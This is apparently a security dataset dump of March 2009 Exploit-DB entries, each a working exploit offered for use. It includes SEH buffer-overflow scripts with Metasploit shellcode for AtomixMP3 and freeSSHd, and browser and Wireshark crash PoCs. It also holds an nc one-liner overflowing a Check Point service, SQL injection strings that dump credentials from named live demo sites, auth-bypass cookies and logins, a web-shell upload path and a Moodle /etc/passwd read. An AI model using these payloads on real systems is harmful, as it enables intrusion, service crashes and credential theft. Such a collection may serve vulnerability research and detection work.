QLWD/code_shield huggingface dataset:
标题: Opera 9.64 - 7400 nested elements XML Parsing Remote Crash EDB-ID: 8320 CVE: 2009-1234 类型: DOS 平台: MULTIPLE 发布日期: 2009-03-30 漏洞利用脚本: #
#   Author : Ahmed Obied (ahmed.obied@gmail.com)
#
#   - Similar to the bug found by Wojciech Pawlikowski for Firefox 
#     -> http://www.milw0rm.com/exploits/8306
#
#   - Tested using the latest version of Opera (9.64)
#
#   Usage  : python opera.py [port]
#    

import sys, socket
from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler

class RequestHandler(BaseHTTPRequestHandler):
        
    def get_exploit(self):
        exploit = '<A>' * 7400
        exploit = '<xml>' + exploit + '</xml>'
        return exploit
            
    def log_request(self, *args, **kwargs):
        pass

    def do_GET(self):
        if self.path == '/':
            print
            print '[-] Incoming connection from %s' % self.client_address[0]
            print '[-] Sending header to %s ...' % self.client_address[0]
            self.send_response(200)
            self.send_header('Content-type', 'text/xml')
            self.end_headers()
            print '[-] Header sent to %s' % self.client_address[0]
            print '[-] Sending exploit to %s ...' % self.client_address[0]
            self.wfile.write(self.get_exploit())
            print '[-] Exploit sent to %s' % self.client_address[0]

def main():
    if len(sys.argv) != 2:
        print 'Usage: %s [port]' % sys.argv[0]
        sys.exit(1)
    try:
        port = int(sys.argv[1])
        if port < 1 or port > 65535:
            raise ValueError
        try:
            serv = HTTPServer(('', port), RequestHandler)
            ip = socket.gethostbyname(socket.gethostname())
            print '[-] Web server is running at http://%s:%d/' % (ip, port)
            try:
                serv.serve_forever()
            except KeyboardInterrupt:
                print '[-] Exiting ...' 
        except socket.error:
            print '[*] ERROR: a socket error has occurred ...'
        sys.exit(-1)    
    except ValueError:
        print '[*] ERROR: invalid port number ...'
        sys.exit(-1)
            
if __name__ == '__main__':
    main()

# milw0rm.com [2009-03-30] URL: https://www.exploit-db.com/exploits/8320
标题: Check Point Firewall-1 - PKI Web Service HTTP Header Remote Overflow EDB-ID: 8313 CVE: 2009-1227 类型: DOS 平台: HARDWARE 发布日期: 2009-03-30 漏洞利用脚本: - Check Point Firewall-1 PKI Web Service HTTP Header Remote Overflow

- Description

The Check Point Firewall-1 PKI Web Service, running by default on TCP
port 18264, is vulnerable to a remote overflow in the handling of very
long HTTP headers. This was discovered during a pen-test where the
client would not allow further analysis and would not provide the full
product/version info. Initial testing indicates the 'Authorization'
and 'Referer' headers were vulnerable.

- Product

Check Point, Firewall-1, unknown

- PoC

perl -e 'print "GET / HTTP/1.0\r\nAuthorization: Basic" . "x" x 8192 .
"\r\nFrom: bugs@hugs.com\r\nIf-Modified-Since: Fri, 13 Dec 2006
09:12:58 GMT\r\nReferer: http://www.owasp.org/" . "x" x 8192 .
"\r\nUserAgent: FsckResponsibleDisclosure 1.0\r\n\r\n"' | nc
suckit.com 18264

- Solution

None

- Timeline

2006-11-06: Vulnerability Discovered
2009-03-29: Disclosed to Public

# milw0rm.com [2009-03-30] URL: https://www.exploit-db.com/exploits/8313
标题: Mozilla Firefox 3.0.x - XML Parser Memory Corruption / Denial of Service (PoC) EDB-ID: 8306 CVE: 2009-1232 类型: DOS 平台: WINDOWS 发布日期: 2009-03-30 漏洞利用脚本: Firefox memory corruption PoC/DoS in XUL (XML) parser

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/8306.rar (2009-Firefox-XUL-0day-PoC.rar)

# milw0rm.com [2009-03-30] URL: https://www.exploit-db.com/exploits/8306
标题: AtomixMP3 < 2.3 - 'Playlist' Universal Overwrite (SEH) EDB-ID: 8312 CVE: 2007-4803 类型: LOCAL 平台: WINDOWS 发布日期: 2009-03-30 漏洞利用脚本: #usage: exploit.py
# [+] Bug: AtomixMP3 <= 2.3 (playlist) Universal Seh Overwrite Exploit
# [+] Exploit by : His0k4
# [+] Software download : http://download.atomixmp3.com/atomixmp3_trial.exe
# [+] Greetings : All friends & muslims HackErS (DZ), secdz.com

# win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
shellcode = (
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x34"
"\x42\x50\x42\x50\x42\x30\x4b\x38\x45\x34\x4e\x43\x4b\x48\x4e\x47"
"\x45\x30\x4a\x47\x41\x50\x4f\x4e\x4b\x48\x4f\x44\x4a\x41\x4b\x48"
"\x4f\x55\x42\x52\x41\x30\x4b\x4e\x49\x54\x4b\x58\x46\x43\x4b\x38"
"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x48\x42\x4c"
"\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x43\x46\x55\x46\x32\x46\x30\x45\x47\x45\x4e\x4b\x48"
"\x4f\x35\x46\x32\x41\x30\x4b\x4e\x48\x56\x4b\x58\x4e\x30\x4b\x44"
"\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x51\x4b\x48"
"\x41\x50\x4b\x4e\x49\x58\x4e\x55\x46\x42\x46\x30\x43\x4c\x41\x33"
"\x42\x4c\x46\x36\x4b\x38\x42\x44\x42\x53\x45\x48\x42\x4c\x4a\x37"
"\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x58\x42\x57\x4e\x51\x4d\x4a"
"\x4b\x38\x4a\x36\x4a\x50\x4b\x4e\x49\x30\x4b\x48\x42\x48\x42\x4b"
"\x42\x50\x42\x50\x42\x50\x4b\x48\x4a\x56\x4e\x33\x4f\x35\x41\x53"
"\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x58\x42\x4c\x4b\x57"
"\x42\x35\x4a\x46\x42\x4f\x4c\x58\x46\x50\x4f\x55\x4a\x36\x4a\x59"
"\x50\x4f\x4c\x38\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x36\x41\x56"
"\x4e\x56\x43\x46\x42\x30\x5a")

payload =  "\x41"*740
payload += "\xEB\x06\x90\x90"
payload += "\x52\x1E\xCD\x01" #univ
payload += "\x90"*19
payload +=  shellcode

try:
    out_file = open("exploit.m3u",'w')
    out_file.write(payload)
    out_file.close()
    raw_input("\nExploit file created!\n")
except:
    print "Error"

# milw0rm.com [2009-03-30] URL: https://www.exploit-db.com/exploits/8312
标题: Arcadwy Arcade Script - (Authentication Bypass) Insecure Cookie Handling EDB-ID: 8304 CVE: 2009-1229 类型: WEBAPPS 平台: PHP 发布日期: 2009-03-29 漏洞利用脚本: [~] Arcadwy Arcade Script (for ByPass) Insecure Cookie Handling Vulnerability 
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu
[~]
[~] Date: 29.03.2009
[~]
[~] Home: yildirimordulari.com / experl.com / z0rlu.blogspot.com / woltaj.org
[~]
[~] contact: trt-turk@hotmail.com
[~] 
[~] N0T: BasImIz Sagolsun, Muhsin YazIcIoglu Ulkemiz ve Ulkumuz icin Buyuk KayÃ½p Allah Rahmet Eylesin :((
[~]
[~] N0T: Herkes Hecker Olmus :S
[~]
[~] N0T: My New Target Buffer Overflow :) There is a little time xD
[~]
[~] -----------------------------------------------------------

Demo:

http://games.arcadwy.com/

Exploit:

javascript:document.cookie = "user=[admin_id],' or ' 1=1--; path=/";

Exploit for demo:

javascript:document.cookie = "user=1,' or ' 1=1--; path=/";

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & DrLy0N & w0cker & Cyber-Zone
[~]
[~] yildirimordulari.com / experl.com / z0rlu.blogspot.com / woltaj.org
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2009-03-29] URL: https://www.exploit-db.com/exploits/8304
标题: Wireshark 1.0.6 - PN-DCP Format String (PoC) EDB-ID: 8308 CVE: 2009-1210 类型: DOS 平台: MULTIPLE 发布日期: 2009-03-30 漏洞利用脚本: /*
################## THCX #######################################
# Wireshark <= 1.0.6 PN-DCP format string bug POC
###############################################################
# [!] autore: THCX Labs
# [!] PN-DCP eithor standalone or tunneld thru DCE/RPC
# [!] local open of pcapfile also working
###############################################################
*/
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
char sploit[]=
"\xd4\xc3\xb2\xa1\x02\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x00\x00\x01\x00\x00\x00"
"\x96\x2c\x8f\x47\x97\xaa\x0d\x00\x22\x00\x00\x00\x22\x00\x00\x00\x00\x02\xe3\x17\xc7\x50\x00\x80"
"\xc8\x38\xa4\x8b\x81\x00\x00\x00\x88\x92\xfe\xfe\x05\x00\x01\x00\x00\x01\x00\x01\x00\x04\xff\xff"
"\x00\x00\x96\x2c\x8f\x47\x96\xae\x0d\x00\xd6\x00\x00\x00\xd6\x00\x00\x00\x00\x80\xc8\x38\xa4\x8b"
"\x00\x02\xe3\x17\xc7\x50\x81\x00\x00\x00\x88\x92\xfe\xff\x05\x01\x01\x00\x00\x01\x00\x00\x00\xb8"
"\x02\x05\x00\x10\x00\x00\x02\x01\x02\x02\x02\x03\x02\x04\x02\x05\x01\x01\x01\x02\x02\x01\x00\x0a"
"\x00\x00\x53\x37\x2d\x33\x30\x30\x45\x43\x02\x02\x00\x6e\x00\x00\x25\x6e\x25\x6e\x25\x6e\x20\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x02\x03\x00\x06\x00\x00\x00\x2a\x01\x01\x02\x04\x00\x04\x00\x00\x02\x00\x01\x02"
"\x00\x0e\x00\x01\xc0\xa8\x00\x0b\xff\xff\xff\x00\xc0\xa8\x00\x0b\x97\x2c\x8f\x47\xf2\xd0\x0e\x00"
"\x32\x00\x00\x00\x32\x00\x00\x00\x00\x02\xe3\x17\xc7\x50\x00\x80\xc8\x38\xa4\x8b\x81\x00\x00\x00"
"\x88\x92\xfe\xfd\x04\x00\x01\x00\x00\x01\x00\x00\x00\x14\x02\x02\x00\x09\x00\x01\x25\x6e\x25\x6e"
"\x25\x6e\x20\x00\x05\x02\x00\x02\x00\x00\x97\x2c\x8f\x47\x82\xd2\x0e\x00\x40\x00\x00\x00\x40\x00"
"\x00\x00\x00\x80\xc8\x38\xa4\x8b\x00\x02\xe3\x17\xc7\x50\x81\x00\x00\x00\x88\x92\xfe\xfd\x04\x01"
"\x01\x00\x00\x01\x00\x00\x00\x10\x05\x04\x00\x03\x02\x02\x00\x00\x05\x04\x00\x03\x05\x02\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
int main(){
FILE *fh;
int r;
fh=fopen("formatstringbug.pcap","wb");
if(!fh){perror("no open");exit(1);}
fwrite(sploit,sizeof sploit,1,fh);
fclose(fh);
r=system("tcpreplay -i eth0 formatstringbug.pcap");
return 0;
}

// milw0rm.com [2009-03-30] URL: https://www.exploit-db.com/exploits/8308
标题: iWare CMS 5.0.4 - Multiple SQL Injections EDB-ID: 8305 CVE: 2006-6446 类型: WEBAPPS 平台: PHP 发布日期: 2009-03-29 漏洞利用脚本: ###################################################################
CMS IWARE 5.0.4 REMOTE SQL-injection vulnerability 
###################################################################


###################################################
#[~] Author        :  boom3rang 
#[~] Greetz        :  H!tm@N, KHG, chs, redc00de
#[~] Vulnerability :  Remote SQL-injection
#[~] Google Dork   :  N/W
--------------------------------------------------   
#[!] Product Site  :  www.iwarecms.nl
#[!] Download CMS  :  http://www.iwarecms.nl/download.php?f=IWARE_5.0.4.zip
#[!] Version       :  5.0.4
###################################################

[+] Remote SQL injection 


Example:
http://localhost/path/index.php?D=[SQL injection]

SQL:
'/**/and/**/1=2/**/UNION/**/SELECT/**/concat(username,char(58),password)+from+iware_users/*

Demo:
http://www.iwarecms.nl/demo/index.php?D=63'/**/and/**/1=2/**/UNION/**/SELECT/**/concat(username,char(58),password)+from+demo_users/*

-----------------
Example 2:
http://localhost/path/index.php?D=52&cmd=33&file=NewsArticles_1.0.0&view=1&category=&id=[SQL injection]

SQL:
'/**/and/**/1=2/**/UNION/**/SELECT/**/0,1,2,concat(username,char(58),password),4,null+from+iware_users/*

Demo 2:
http://www.iwarecms.nl/demo/index.php?D=52&cmd=33&file=NewsArticles_1.0.0&view=1&category=&id=3'/**/and/**/1=2/**/UNION/**/SELECT/**/0,1,2,concat(username,char(58),password),4,null+from+demo_users/*

-----------------
Example 3:
http://localhost/path/index.php?D=54&cmd=33&file=ImageGallery_1.0.0&category=[SQL injection]

SQL:
'/**/and/**/1=2/**/UNION/**/SELECT/**/0,1,null,concat(username,char(58),password)+from+iware_users/*

http://www.iwarecms.nl/demo/index.php?D=54&cmd=33&file=ImageGallery_1.0.0&category=2'/**/and/**/1=2/**/UNION/**/SELECT/**/0,1,null,concat(username,char(58),password)+from+demo_users/*



##############################
#[!] Proud 2 be Albanian
#[!] Proud 2 be Muslim
#[!] R.I.P redc00de
##############################

# milw0rm.com [2009-03-29] URL: https://www.exploit-db.com/exploits/8305
标题: Diskos CMS Manager - SQL Injection / File Disclosure / Authentication Bypass EDB-ID: 8307 CVE: 2009-4799 2009-4798 类型: WEBAPPS 平台: ASP 发布日期: 2009-03-30 漏洞利用脚本: ************************************************************
**         Diskos CMS Manager & multiple vulnerabilitiesS
************************************************************
**  Prodcut:  Diskos CMS Manager  
**  Home   :   http://www.diskos.dk
**  Vunlerability : SQL Injection & admin byapass & database disclosure 
**  Dork :   "Powered By diskos"
**     inurl:"side.asp?kat=1"
************************************************************
** Discovred by: AnGeL25dZ
** Contact     :  angel25dz@gmail.com 
** *********************************************************
** Greetz to :  ALLAH 
**   All Members of H-T (http://h-t.cc/cc)
**   All Members of Islam-attack.com
*************************************************************
******************** SQL Injection **************************
************************************************************* 
** Exploit:  
** USERS :http://[PATH]/side.asp?kat=-1+union+all+select+brugerid+from+brugere
** ADMIn :http://[PATH]/side.asp?kat=-1+union+all+select+password+from+brugere
**  
** Administration Login : http://[path]/diskos6/
**
**************************************************************
********************** Admin bypass **************************
************************************************************** 
**  
** Administration Login : http://[path]/diskos6/
**       brugerid: ' or'1=1
**     password: ' or'1=1
****************************************************************
******************** database disclosure **********************
****************************************************************
** http://[path]/db/log.mdb 
**       artikler_prod.mdb
**                  medlemmer.mdb
******************************************************************
** Live demo : http://www.diskos.dk/
****************************************************************

# milw0rm.com [2009-03-30] URL: https://www.exploit-db.com/exploits/8307
标题: Amaya 11.1 - W3C Editor/Browser (defer) Stack Overflow (PoC) EDB-ID: 8314 CVE: 2009-1209 类型: DOS 平台: WINDOWS 发布日期: 2009-03-30 漏洞利用脚本: <?php

/**//*

     Amaya 11.1 W3C's editor/browser
     Stack Owerflow POC
     Discover by Alfons Luja 
     Thx : OiN 
     select * from friends --
     This stUff overwrite SEH in my box XP home sp 2 
     To correctly overwrite seh you must upload "remote_love.html" to remote server 
     Amaya allow only printable shellcode in this case   
     
     EAX:00000000
     ECX:43434343
     EDX:7C9037D8
     EBX:00000000
     ESP:0012DDD0
     EBP:0012DDF0
     ESI:00000000
     EDI:00000000
     EIP:43434343
     
      
*//**/ 

$junk = "\x41";
$n_seh = "\x42\x42\x42\x42";  //pointer to next seh
$h_seh = "\x43\x43\x43\x43";  //seh handler

for($i=1;$i<7000 - (4*19) - 10;$i++){ $junk.="\x41"; }

$junk.=$n_seh;
$junk.=$h_seh;
$hello = "<script defer=\"".$junk."\">";

$hnd = fopen("remote_love.html","w");
     
       if($hnd){

          fputs($hnd,$hello);
          fclose($hnd);
          echo"DONE !!\n";
     
       } else {

          echo"Kupa !!\n";

       }

?>

# milw0rm.com [2009-03-30] URL: https://www.exploit-db.com/exploits/8314
标题: BandSite CMS 1.1.4 - 'members.php' SQL Injection EDB-ID: 8309 CVE: 2009-4793 2009-4792 类型: WEBAPPS 平台: PHP 发布日期: 2009-03-30 漏洞利用脚本: #########################################################################
[+] BandSite CMS 1.1.4 (SQL/Upload Shell) Multiple Remote Vulnerabilites
[+] Discovered By SirGod
[+] www.mortal-team.org
[+] www.h4cky0u.org
#########################################################################

[+] Remote SQL Injection

 - The script is full of SQLI bugs.This is one of them.

 - Vulnerable code in includes\content\member_content.php

-----------------------------------------------------------------------------------------------------------------------------------
 $memid = $_REQUEST['memid'];
 
 // define the query
 // if the $memid variable is set, that means we're displaying a full bio and we should select the specific member entry
 if(isset($memid)){
  $query = "
   SELECT
    *
   FROM
    memberbios
   WHERE
    rec_id=$memid";
 }
-----------------------------------------------------------------------------------------------------------------------------------


  PoC 1 :

    http://127.0.0.1/members.php?memid=1 union all select 1,2,concat_ws(0x3a,admin_username,admin_password,admin_email),4,5,6,7 from config--

  PoC 2 :

    http://127.0.0.1/members.php?memid=1 union all select 1,2,concat_ws(0x3a,db_username,db_password,db_name,db_host),4,5,6,7 from config--


[+] Upload Shell

 - Need to be logged in as administrator.

 Go to :

    http://127.0.0.1/adminpanel/index.php?action=addphotos

 Add the shell :

    cmd.php

 You will find your shell here :

    http://127.0.0.1/images/gallery/cmd.php

#########################################################################

# milw0rm.com [2009-03-30] URL: https://www.exploit-db.com/exploits/8309
标题: Moodle < 1.6.9/1.7.7/1.8.9/1.9.5 - File Disclosure EDB-ID: 8297 CVE: 2009-1171 类型: WEBAPPS 平台: PHP 发布日期: 2009-03-27 漏洞利用脚本: Moodle File Disclosure Vulnerability

Systems Affected  Moodle series <1.6.9+, <1.7.7+, <1.8.9, <1.9.5
Severity    Critical
Probability of being vulnerable  Rather Low
Vendor    http://moodle.org/
Filed Bug   #MDL-18552
Author    Christian J. Eibl
Date    20090327

I. BACKGROUND

Moodle is an open source (webbased) learning management system with 
users all over the world in educational institutes, schools, or 
companies. See vendor homepage for details.

II. DESCRIPTION

An input filter for TeX formulas can be exploited to disclose files 
readable by the web server. This includes the moodle configuration 
file with all authentication data and server locations for directly 
connecting to backend database.
TeX filter by default is off and in case of being activated mostly no 
complete LaTeX environment on a server system will be available.

III. DETECTION OF VULNERABILITY

Since Moodle 1.6 a complete LaTeX environment is preferred over the 
shipped mimetex program for rendering TeX formulas to images that can 
be included in HTML pages.

In any text input area, e.g., forum, type something like "$$ \jobname 
$$" (without quotes). If the result looks like
- "$$ \jobname $$":  TeX filter not activated
- "[jobname ?]":   TeX filter activated, but mimetex used
- "a91dbb..." (hash):  TeX filter active and LaTeX used (vuln.)

Since LaTeX per se is very powerful for file inclusion and even 
writes, the vulnerability depends on LaTeX environment and its 
configuration. 

IV. EXPLOIT PoC

If LaTeX is not configured to restrict file inclusion (default!), then 
absolute paths and relative ones can be used. As proof of concept 
enter:
"$$ \input{/etc/passwd} $$"

In case the system is vulnerable, this will read the /etc/passwd file 
and will render the contents to an image included in the text. Hence, 
content is disclosed.

Rendering takes place in temporary folder by default which should not 
be in the scope of the web server. Otherwise even arbitrary code could 
be injected to compromise the whole web environment.
By using relative paths with background knowledge of Moodle's path 
organization, it is easy to disclose the configuration file with 
sensitive data.

V. WORKAROUND

Several alternatives:
1) deactivate TeX filter, if not needed
2) use more restrictive mimetex program for rendering
3) change LaTeX configuration (set "openin_any=p" for paranoid!)

... or upgrade to latest development version where patch should be 
applied by now.

VI. TIMELINE

20090312 Bug discovered
20090313 Vendor contact / Bug filed (MDL-18552)
20090314 Response and confirmation by vendor
20090315 First patch proposed
20090327 Bug marked resolved and patch in tree

# milw0rm.com [2009-03-27] URL: https://www.exploit-db.com/exploits/8297
标题: freeSSHd 1.2.1 - 'rename' Remote Buffer Overflow (SEH) EDB-ID: 8295 CVE: 2008-6899 类型: REMOTE 平台: WINDOWS 发布日期: 2009-03-27 漏洞利用脚本: # FreeSSHd 1.2.1 (rename) Remote Buffer Overflow Exploit
#
# Advisory: http://www.bmgsec.com.au/advisory/45/
# Original: http://www.bmgsec.com.au/advisory/32/
# Related : http://www.bmgsec.com.au/advisory/42/
#
# Test box: WinXP Pro SP2 English
#
# Exploit code for a vulnerability I discovered sometime
# ago in FreeSSHd 1.2.1. This code should be run from a 
# user titled "root", or adjust the payload for your 
# username. I've left space for adjustments. Up to the
# first six NOPs can be used (inclusive). 
#
# The code exploits a vulnerability in the SFTP Rename
# operation. The vulnerability was patched in 1.2.2
#
# 00416F98  50             PUSH EAX                      
# 00416F99  8D85 B8FEFFFF  LEA EAX,DWORD PTR SS:[EBP-148]
# 00416F9F  50             PUSH EAX                      
# 00416FA0  E8 45B50400    CALL <JMP.&MSVCRT.strcpy>     
#
#
# Written and discovered by:
# r0ut3r (writ3r [at] gmail.com / www.bmgsec.com.au)

use Net::SSH2;

my $user = "root";
my $pass = "yahh";

my $ip = "127.0.0.1";
my $port = 22;

my $ssh2 = Net::SSH2->new();

print "[+] Connecting...\n";
$ssh2->connect($ip, $port) || die "[-] Unable to connect!\n";
$ssh2->auth_password($user, $pass) || "[-] Incorrect credentials\n";
print "[+] Sending payload\n";

$nop = "\x90";
$padding = 'A' x 105;

my $SEH = "\x21\x11\x40\x00"; # pop, pop, ret - 0x00401121 (Universal - freeSSHdServer.exe)
my $nextSEH = "\xEB\xF0\x90\x90"; # jmp short 240, nop, nop

$mShellcode = "\xE9\xF2\xFE\xFF\xFF";

# win32_exec -  EXITFUNC=process CMD=calc Size=160 Encoder=PexFnstenvSub - metasploit.com
my $shellcode =
"\x29\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x02".
"\x28\x29\x10\x83\xeb\xfc\xe2\xf4\xfe\xc0\x6d\x10\x02\x28\xa2\x55".
"\x3e\xa3\x55\x15\x7a\x29\xc6\x9b\x4d\x30\xa2\x4f\x22\x29\xc2\x59".
"\x89\x1c\xa2\x11\xec\x19\xe9\x89\xae\xac\xe9\x64\x05\xe9\xe3\x1d".
"\x03\xea\xc2\xe4\x39\x7c\x0d\x14\x77\xcd\xa2\x4f\x26\x29\xc2\x76".
"\x89\x24\x62\x9b\x5d\x34\x28\xfb\x89\x34\xa2\x11\xe9\xa1\x75\x34".
"\x06\xeb\x18\xd0\x66\xa3\x69\x20\x87\xe8\x51\x1c\x89\x68\x25\x9b".
"\x72\x34\x84\x9b\x6a\x20\xc2\x19\x89\xa8\x99\x10\x02\x28\xa2\x78".
"\x3e\x77\x18\xe6\x62\x7e\xa0\xe8\x81\xe8\x52\x40\x6a\x56\xf1\xf2".
"\x71\x40\xb1\xee\x88\x26\x7e\xef\xe5\x4b\x48\x7c\x61\x28\x29\x10";

my $payload = $nop x 6 . $shellcode . $padding . $mShellcode . $nop x 9 . $nextSEH . $SEH;

my $sftp = $ssh2->sftp();
$sftp->rename($payload, 'B');

print "[+] Sent";
$ssh2->disconnect;

# milw0rm.com [2009-03-27] URL: https://www.exploit-db.com/exploits/8295